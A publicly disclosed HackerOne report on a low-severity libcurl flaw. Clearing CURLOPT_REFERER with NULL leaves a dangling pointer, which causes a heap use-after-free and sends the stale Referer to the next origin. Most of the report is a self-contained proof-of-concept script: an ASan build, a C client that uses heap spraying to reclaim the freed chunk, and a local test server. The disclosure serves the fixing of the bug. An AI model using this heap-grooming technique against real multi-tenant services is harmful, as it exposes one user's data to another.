HexBrain

curl · Report #3754343

CVE-2026-9546: sending old referer

Validstatus
lowseverity
3upvotes
24 Jun 2026disclosed

How it was found

Summary:

libcurl documents that CURLOPT_REFERER can be set to NULL to disable the Referer header again, but doing so after a transfer does not clear the cached per-handle referer state. As a result, the next HTTP request on the same easy handle can still send the previous request's Referer: value to a different origin even though the application explicitly cleared it with the documented API.

This is a real cross-request confidentiality problem for applications that pool or reuse easy handles across different jobs, users, or tenants. The easiest security framing is not "a remote server can crash curl in isolation", but rather: a later attacker-controlled job can receive a previous job's referer on the wire because libcurl failed to honor the documented clear operation.

Internally, the bug is caused by data->state.referer retaining a dangling pointer after CURLOPT_REFERER=NULL. Under ASan, the next request reliably hits a library-internal heap-use-after-free. If the freed chunk is reused before the next transfer, libcurl can also send the new heap contents as Referer:.

Most credible security boundary

The strongest real-world scenario I found is:

  1. a server-side fetcher / crawler / screenshot service keeps one easy handle per worker so that it can reuse connections, which libcurl explicitly encourages
  2. tenant A performs a request that legitimately needs a custom Referer: header, for example to satisfy an origin check or hotlink policy, and that referer contains a private dashboard URL, opaque job token, or internal path
  3. after the request completes, the framework calls curl_easy_setopt(easy, CURLOPT_REFERER, NULL) exactly as documented to clear that per-request state while keeping the easy handle alive
  4. tenant B later gets the same worker / easy handle and asks the service to fetch an attacker-controlled URL
  5. B's server receives A's stale Referer: value, or another heap string that reused the freed referer chunk

This is why I am reporting it as a low-severity libcurl security issue rather than only a robustness bug:

  • the application follows documented libcurl behavior
  • the application uses encouraged easy-handle reuse
  • the confidentiality breach crosses a real trust boundary between jobs or tenants
  • the leak is visible on the network to the attacker-controlled next origin

I would suggest evaluating it as a low-severity cross-request data exposure issue, with the UAF as the implementation mechanism.

Affected version

Validated on current curl master:

d24652971a636a4b2374367434ed72bb561b79bc

curl-8_20_0-154-gd24652971a

Platform used for reproduction:

Linux x86_64

The issue is in normal libcurl HTTP request construction and does not require an experimental feature, debug-only code, a special TLS backend, or a malformed API call. The proof of concept below uses only documented API calls and a local HTTP server. The ASan phase proves the underlying UAF; the leak phase proves that the stale per-handle referer state can become attacker-observable on the next HTTP request.

Steps To Reproduce:

From the curl repository root, copy and paste the following script. It is self-contained: it writes the C client and Python HTTP server into a temporary directory and does not call any pre-existing PoC file from the repository.

set -euo pipefail

ROOT="${ROOT:-$PWD}"
WORKDIR="$(mktemp -d "${TMPDIR:-/tmp}/curl-referer-uaf-inline-XXXXXX")"
BUILD_DIR="$WORKDIR/build-curl-asan"
SERVER_LOG="$WORKDIR/server.jsonl"
SERVER_ERR="$WORKDIR/server.err"
PORT_FILE="$WORKDIR/port"
CLIENT_C="$WORKDIR/referer_uaf_client.c"
CLIENT_BIN="$WORKDIR/referer_uaf_client"
ASAN_LOG="$WORKDIR/asan.log"
LEAK_LOG="$WORKDIR/leak.log"
SERVER_PID=""

cleanup() {
  if [ -n "$SERVER_PID" ]; then
    kill "$SERVER_PID" >/dev/null 2>&1 || true
    wait "$SERVER_PID" 2>/dev/null || true
  fi
  if [ "${KEEP_WORKDIR:-0}" = "1" ]; then
    echo "[*] workdir kept at: $WORKDIR"
  else
    rm -rf "$WORKDIR"
  fi
}
trap cleanup EXIT

need_cmd() {
  command -v "$1" >/dev/null 2>&1 || {
    echo "[!] missing required command: $1" >&2
    exit 1
  }
}

need_cmd cmake
need_cmd cc
need_cmd python3

if [ ! -f "$ROOT/CMakeLists.txt" ] || [ ! -d "$ROOT/lib" ] ||
   [ ! -d "$ROOT/include" ]; then
  echo "[!] run this script from the curl repository root" >&2
  exit 1
fi

cat >"$CLIENT_C" <<'EOF'
#include <curl/curl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define REFERER_TOTAL_LEN 96U
#define MAX_SPRAY_ALLOCS 4096U

struct spray_hold {
  char **items;
  size_t count;
};

static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  (void)ptr;
  (void)userdata;
  return size * nmemb;
}

static char *join_url(const char *base, const char *path)
{
  size_t base_len = strlen(base);
  size_t path_len = strlen(path);
  char *out = malloc(base_len + path_len + 1U);

  if(!out)
    return NULL;

  memcpy(out, base, base_len);
  memcpy(out + base_len, path, path_len + 1U);
  return out;
}

static char *make_padded_url(const char *prefix, char fill)
{
  size_t prefix_len = strlen(prefix);
  char *out;

  if(prefix_len >= REFERER_TOTAL_LEN)
    return NULL;

  out = malloc(REFERER_TOTAL_LEN + 1U);
  if(!out)
    return NULL;

  memcpy(out, prefix, prefix_len);
  memset(out + prefix_len, fill, REFERER_TOTAL_LEN - prefix_len);
  out[REFERER_TOTAL_LEN] = '\0';
  return out;
}

static void free_spray(char **spray, size_t count)
{
  size_t i;

  if(!spray)
    return;

  for(i = 0; i < count; ++i)
    free(spray[i]);
  free(spray);
}

static char *recycle_referer_chunk(const char *target, const char *marker,
                                   struct spray_hold *hold)
{
  char **spray;
  size_t marker_size = strlen(marker) + 1U;
  size_t i;

  if(!target || !hold)
    return NULL;

  hold->items = NULL;
  hold->count = 0U;

  spray = calloc(MAX_SPRAY_ALLOCS, sizeof(*spray));
  if(!spray)
    return NULL;

  for(i = 0; i < MAX_SPRAY_ALLOCS; ++i) {
    spray[i] = malloc(marker_size);
    if(!spray[i]) {
      free_spray(spray, i);
      return NULL;
    }

    memcpy(spray[i], marker, marker_size);
    if((const void *)spray[i] == (const void *)target) {
      hold->items = spray;
      hold->count = i + 1U;
      fprintf(stderr, "recycled_referer_ptr=%p\n", (const void *)spray[i]);
      return spray[i];
    }
  }

  free_spray(spray, MAX_SPRAY_ALLOCS);
  return NULL;
}

static CURLcode do_request(CURL *easy, const char *url)
{
  CURLcode rc;

  rc = curl_easy_setopt(easy, CURLOPT_URL, url);
  if(rc != CURLE_OK)
    return rc;

  return curl_easy_perform(easy);
}

int main(int argc, char **argv)
{
  CURL *easy = NULL;
  CURLcode rc;
  const char *mode;
  const char *base_url;
  char *first_url = NULL;
  char *second_url = NULL;
  char *initial_referer = NULL;
  char *leak_marker = NULL;
  char *recycled = NULL;
  char *used_referer = NULL;
  char *stale_referer = NULL;
  struct spray_hold spray = { NULL, 0U };
  int exitcode = 1;

  if(argc != 3) {
    fprintf(stderr, "usage: %s <asan|leak> <base_url>\n", argv[0]);
    return 2;
  }

  mode = argv[1];
  base_url = argv[2];

  if(strcmp(mode, "asan") && strcmp(mode, "leak")) {
    fprintf(stderr, "unsupported mode: %s\n", mode);
    return 2;
  }

  first_url = join_url(base_url,
                       !strcmp(mode, "asan") ? "/asan-first" : "/leak-first");
  second_url = join_url(base_url,
                        !strcmp(mode, "asan") ? "/asan-second" :
                        "/leak-second");
  initial_referer = make_padded_url("https://initial.invalid/", 'A');
  leak_marker = make_padded_url("https://reused.invalid/", 'B');
  if(!first_url || !second_url || !initial_referer || !leak_marker) {
    fprintf(stderr, "failed to allocate URLs or referers\n");
    goto out;
  }

  rc = curl_global_init(CURL_GLOBAL_DEFAULT);
  if(rc != CURLE_OK) {
    fprintf(stderr, "curl_global_init: %s\n", curl_easy_strerror(rc));
    goto out;
  }

  easy = curl_easy_init();
  if(!easy) {
    fprintf(stderr, "curl_easy_init failed\n");
    goto out;
  }

  curl_easy_setopt(easy, CURLOPT_NOPROXY, "*");
  curl_easy_setopt(easy, CURLOPT_TIMEOUT_MS, 3000L);
  curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, sink);

  rc = curl_easy_setopt(easy, CURLOPT_REFERER, initial_referer);
  if(rc != CURLE_OK) {
    fprintf(stderr, "set initial referer: %s\n", curl_easy_strerror(rc));
    goto out;
  }

  rc = do_request(easy, first_url);
  if(rc != CURLE_OK) {
    fprintf(stderr, "first perform: %s\n", curl_easy_strerror(rc));
    goto out;
  }

  rc = curl_easy_getinfo(easy, CURLINFO_REFERER, &used_referer);
  if(rc != CURLE_OK) {
    fprintf(stderr, "getinfo before clear: %s\n", curl_easy_strerror(rc));
    goto out;
  }

  fprintf(stderr, "before_clear_referer_ptr=%p\n", (void *)used_referer);

  rc = curl_easy_setopt(easy, CURLOPT_REFERER, NULL);
  if(rc != CURLE_OK) {
    fprintf(stderr, "clear referer: %s\n", curl_easy_strerror(rc));
    goto out;
  }

  rc = curl_easy_getinfo(easy, CURLINFO_REFERER, &stale_referer);
  if(rc != CURLE_OK) {
    fprintf(stderr, "getinfo after clear: %s\n", curl_easy_strerror(rc));
    goto out;
  }

  fprintf(stderr, "after_clear_referer_ptr=%p\n", (void *)stale_referer);
  if(stale_referer == used_referer && stale_referer)
    fprintf(stderr, "stale pointer persisted after CURLOPT_REFERER=NULL\n");

  if(!strcmp(mode, "leak")) {
    recycled = recycle_referer_chunk(stale_referer, leak_marker, &spray);
    if(!recycled) {
      fprintf(stderr, "failed to recycle the freed referer chunk\n");
      goto out;
    }
    fprintf(stderr, "expected_leak_referer=%s\n", recycled);
  }

  rc = do_request(easy, second_url);
  fprintf(stderr, "second perform rc=%d (%s)\n", (int)rc,
          curl_easy_strerror(rc));
  if(rc != CURLE_OK)
    goto out;

  exitcode = 0;

out:
  curl_easy_cleanup(easy);
  curl_global_cleanup();
  free(first_url);
  free(second_url);
  free(initial_referer);
  free(leak_marker);
  free_spray(spray.items, spray.count);
  return exitcode;
}
EOF

python3 -u - "$SERVER_LOG" "$PORT_FILE" >"$SERVER_ERR" 2>&1 <<'PY' &
import http.server
import json
import sys
from socketserver import ThreadingMixIn

log_path, port_path = sys.argv[1], sys.argv[2]

class ThreadingHTTPServer(ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True

class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        entry = {
            "path": self.path,
            "referer": self.headers.get("Referer"),
            "headers": {k: v for k, v in self.headers.items()},
        }
        with open(log_path, "a", encoding="utf-8") as f:
            f.write(json.dumps(entry, ensure_ascii=True) + "\n")
        body = b"ok\n"
        self.send_response(200)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        pass

server = ThreadingHTTPServer(("127.0.0.1", 0), Handler)
with open(port_path, "w", encoding="ascii") as f:
    f.write(str(server.server_address[1]))
server.serve_forever()
PY
SERVER_PID=$!

for _ in $(seq 1 50); do
  if [ -s "$PORT_FILE" ]; then
    break
  fi
  sleep 0.1
done

if [ ! -s "$PORT_FILE" ]; then
  echo "[!] failed to start local HTTP server" >&2
  cat "$SERVER_ERR" >&2 || true
  exit 1
fi

JOBS="$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 2)"
if [ -z "$JOBS" ] || [ "$JOBS" -lt 1 ] 2>/dev/null; then
  JOBS=2
fi

echo "[*] building ASan libcurl in $BUILD_DIR"
cmake -S "$ROOT" -B "$BUILD_DIR" \
  -DCMAKE_BUILD_TYPE=Debug \
  -DBUILD_CURL_EXE=OFF \
  -DBUILD_SHARED_LIBS=ON \
  -DBUILD_LIBCURL_DOCS=OFF \
  -DBUILD_MISC_DOCS=OFF \
  -DENABLE_CURL_MANUAL=OFF \
  -DHTTP_ONLY=ON \
  -DCURL_ENABLE_SSL=OFF \
  -DCURL_USE_PKGCONFIG=OFF \
  -DCURL_USE_CMAKECONFIG=OFF \
  -DCURL_ZLIB=OFF \
  -DCURL_BROTLI=OFF \
  -DCURL_ZSTD=OFF \
  -DCURL_USE_LIBPSL=OFF \
  -DCURL_USE_LIBSSH=OFF \
  -DCURL_USE_LIBSSH2=OFF \
  -DUSE_LIBIDN2=OFF \
  -DUSE_NGHTTP2=OFF \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O0" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  >/dev/null
cmake --build "$BUILD_DIR" -j"$JOBS" >/dev/null

LIBDIR="$BUILD_DIR/lib"
LIBNAME="curl-d"
if [ ! -e "$LIBDIR/libcurl-d.so" ]; then
  LIBNAME="curl"
fi

EXTRA_LIBS=""
add_lib_if_available() {
  lib="$1"
  if printf 'int main(void){return 0;}\n' |
     cc -x c - -Wl,--no-as-needed -l"$lib" -o "$WORKDIR/check-$lib" \
       >/dev/null 2>&1; then
    EXTRA_LIBS="$EXTRA_LIBS -l$lib"
  fi
}

# Some curl CMake builds compile optional backend objects into libcurl even
# when the PoC only uses plain HTTP. Add available runtime libraries so the
# temporary test client can link and load the ASan libcurl reliably.
for lib in ssl crypto z brotlidec brotlicommon zstd psl; do
  add_lib_if_available "$lib"
done

cc -fsanitize=address -fno-omit-frame-pointer -g -O0 \
  -I"$ROOT/include" -I"$BUILD_DIR/lib" \
  "$CLIENT_C" \
  -L"$LIBDIR" -Wl,-rpath,"$LIBDIR" -l"$LIBNAME" \
  -Wl,--no-as-needed $EXTRA_LIBS -Wl,--as-needed \
  -o "$CLIENT_BIN"

PORT="$(cat "$PORT_FILE")"
BASE_URL="http://127.0.0.1:$PORT"
echo "[*] base URL: $BASE_URL"

echo "[*] phase 1: ASan UAF reproduction"
set +e
ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:halt_on_error=1" \
  LD_LIBRARY_PATH="$LIBDIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
  "$CLIENT_BIN" asan "$BASE_URL" >"$ASAN_LOG" 2>&1
ASAN_RC=$?
set -e

if [ "$ASAN_RC" -eq 0 ]; then
  echo "[!] ASan phase unexpectedly succeeded" >&2
  cat "$ASAN_LOG" >&2
  exit 1
fi

if ! grep -q "AddressSanitizer: heap-use-after-free" "$ASAN_LOG"; then
  echo "[!] ASan phase did not report heap-use-after-free" >&2
  cat "$ASAN_LOG" >&2
  exit 1
fi

if ! grep -q "stale pointer persisted after CURLOPT_REFERER=NULL" "$ASAN_LOG"; then
  echo "[!] stale referer pointer marker missing" >&2
  cat "$ASAN_LOG" >&2
  exit 1
fi

echo "[+] ASan phase reproduced libcurl heap-use-after-free"
grep -E "before_clear|after_clear|heap-use-after-free|Curl_setstropt|Curl_http|http_add_hd" \
  "$ASAN_LOG" | sed -n '1,20p'

echo "[*] phase 2: recycled heap content sent as Referer"
set +e
ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:halt_on_error=1:quarantine_size_mb=0:thread_local_quarantine_size_kb=0" \
  LD_LIBRARY_PATH="$LIBDIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
  "$CLIENT_BIN" leak "$BASE_URL" >"$LEAK_LOG" 2>&1
LEAK_RC=$?
set -e

if [ "$LEAK_RC" -ne 0 ]; then
  echo "[!] leak phase failed" >&2
  cat "$LEAK_LOG" >&2
  exit 1
fi

EXPECTED_LEAK="$(sed -n 's/^expected_leak_referer=//p' "$LEAK_LOG" | tail -n 1)"
if [ -z "$EXPECTED_LEAK" ]; then
  echo "[!] leak phase did not print expected marker" >&2
  cat "$LEAK_LOG" >&2
  exit 1
fi

python3 - "$SERVER_LOG" "$EXPECTED_LEAK" <<'PY'
import json
import sys

log_path, expected = sys.argv[1], sys.argv[2]
entries = []
with open(log_path, "r", encoding="utf-8") as f:
    for line in f:
        line = line.strip()
        if line:
            entries.append(json.loads(line))

leak_entries = [e for e in entries if e["path"] == "/leak-second"]
if not leak_entries:
    print("[!] no /leak-second request captured", file=sys.stderr)
    raise SystemExit(1)

entry = leak_entries[-1]
print("[*] captured /leak-second Referer:")
print(entry["referer"])
if entry["referer"] != expected:
    print("[!] leaked Referer does not match recycled heap payload",
          file=sys.stderr)
    raise SystemExit(1)
PY

echo "[+] vulnerable:"
echo "    - documented CURLOPT_REFERER=NULL left data->state.referer stale"
echo "    - next HTTP request hit ASan heap-use-after-free inside libcurl"
echo "    - recycled heap content was sent to the next peer as Referer"

Expected success markers:

[+] ASan phase reproduced libcurl heap-use-after-free
AddressSanitizer: heap-use-after-free
stale pointer persisted after CURLOPT_REFERER=NULL
[*] captured /leak-second Referer:
https://reused.invalid/BBBB...
[+] vulnerable:

The relevant source behavior is:

  • CURLOPT_REFERER setter frees/replaces only set.str[STRING_SET_REFERER]: lib/setopt.c
  • Curl_pretransfer() binds data->state.referer only when the current referer string is non-NULL and does not clear the stale bufref in the documented clear path: lib/transfer.c
  • the next HTTP request formats data->state.referer into the request header: lib/http.c
  • CURLINFO_REFERER also returns that same stale pointer: lib/getinfo.c

This is not API misuse. curl_easy_perform(3) explicitly allows repeated transfers on the same easy handle and says callers may use curl_easy_setopt(3) between transfers. CURLOPT_REFERER(3) explicitly says setting the option to NULL disables it again.

Impact

Summary:

An attacker who can control a later transfer in an application that reuses a libcurl easy handle can receive stale cross-request data even after the application correctly clears CURLOPT_REFERER with NULL. In multi-tenant fetchers, SSRF brokers, crawlers, webhook relays, or proxy services, this can leak a previous tenant's Referer value, an internal URL, a privacy-sensitive path, or another string that reuses the freed heap chunk. The same valid API sequence also produces a library-internal heap-use-after-free and can crash the process under normal memory-safety detection. The issue breaks libcurl's documented option-clearing contract and causes data from one logical request session to be sent to a different HTTP peer.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original